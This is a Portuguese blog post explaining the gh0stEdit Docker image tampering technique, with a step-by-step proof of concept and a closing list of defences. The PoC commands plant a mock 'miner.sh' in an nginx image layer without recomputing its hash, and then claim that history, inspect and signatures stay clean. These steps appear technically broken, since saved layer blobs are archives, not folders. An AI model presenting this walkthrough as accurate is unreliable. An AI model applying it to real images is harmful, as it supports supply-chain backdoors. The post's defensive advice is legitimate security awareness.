Sua imagem Docker pode estar comprometida e você nunca saberia · SheickDasArabias

Nos últimos anos, o Docker e a containerização se consolidaram como padrão de mercado. Assinamos imagens, fazemos varreduras em busca de vulnerabilidades, utilizamos registros privados e confiamos que todo esse ecossistema garante segurança.

Mas uma pesquisa recente apresentou uma técnica chamada gh0stEdit (arxiv.org, 2025), que desafia completamente essa confiança.
A ideia central é assustadora: é possível injetar código malicioso em uma imagem Docker sem deixar rastros nem no histórico, nem nas assinaturas, nem nos scanners tradicionais.

Demonstração simplificada (PoC)

Veja como a técnica funciona, de forma resumida:

Baixando a imagem base

docker pull nginx:alpine
docker save nginx:alpine -o nginx.tar

Agora temos um arquivo tar com a imagem original.

Extraindo os layers (camadas)

mkdir exploit && tar -xf nginx.tar -C exploit
cd exploit

Dentro da pasta criada, estarão diretórios representando os layers do container em blobs/sha256/....

Inserindo código malicioso

Imagine que queremos embutir um script chamado miner.sh, que simula um processo de mineração:

echo -e '#!/bin/sh\necho \"Mining started...\"' > miner.sh
chmod +x miner.sh

Agora, inserimos esse arquivo em um dos layers (por exemplo, dentro de /usr/bin/):

cp miner.sh blobs/sha256/<layer-id>/usr/bin/

O truque principal: não recalcular o hash

A sacada do gh0stEdit é simples e mortal: não recalculamos o hash do layer.
Com isso, o Docker acredita que a camada não foi alterada.

Os arquivos manifest.json e repositories continuam intactos.

Reconstruindo a imagem adulterada

tar -cf nginx_backdoored.tar *
docker load -i nginx_backdoored.tar
docker tag <id> nginx:ghosted

Verificação da “pureza”

Mesmo adulterada, a imagem passa nos testes:

docker history nginx:ghosted

Mostra o mesmo histórico da imagem original.

docker inspect nginx:ghosted

Metadados idênticos, sem sinal de alteração.

Rodando a surpresa

docker run --rm nginx:ghosted miner.sh

Saída no console:

Mining started...

Ou seja: a imagem parece “limpa”, mas já contém um payload escondido.

Por que isso é preocupante?

O pipeline de CI/CD baixa a imagem, verifica a assinatura → tudo “ok”.
O scanner de vulnerabilidades faz a checagem → tudo “ok”.
No fim, um container comprometido vai parar direto em produção.

Isso significa que um invasor pode inserir backdoors mesmo em imagens assinadas e provenientes de registros confiáveis.

Como se proteger

Verificação profunda de conteúdo
- Usar o cosign com política de reconstrução de hashes.
- Validar os binários dentro das camadas utilizando SBOM (Software Bill of Materials).
Monitoramento em tempo de execução (runtime)
- Ferramentas como Falco, Tetragon e eBPF hooks podem detectar processos estranhos rodando dentro de containers (ex.: um minerador dentro de uma imagem do nginx).
Abordagem Zero Trust para a supply chain
- Preferir builds reprodutíveis (reproducible builds).
- Reconstruir localmente imagens de terceiros, em vez de confiar cegamente nelas.

Conclusão

O ataque gh0stEdit serve como lembrete importante: a segurança de containers não termina na assinatura digital nem no scanner de vulnerabilidades.

Precisamos ir além verificar o conteúdo real das imagens e monitorar constantemente o comportamento dos containers em runtime.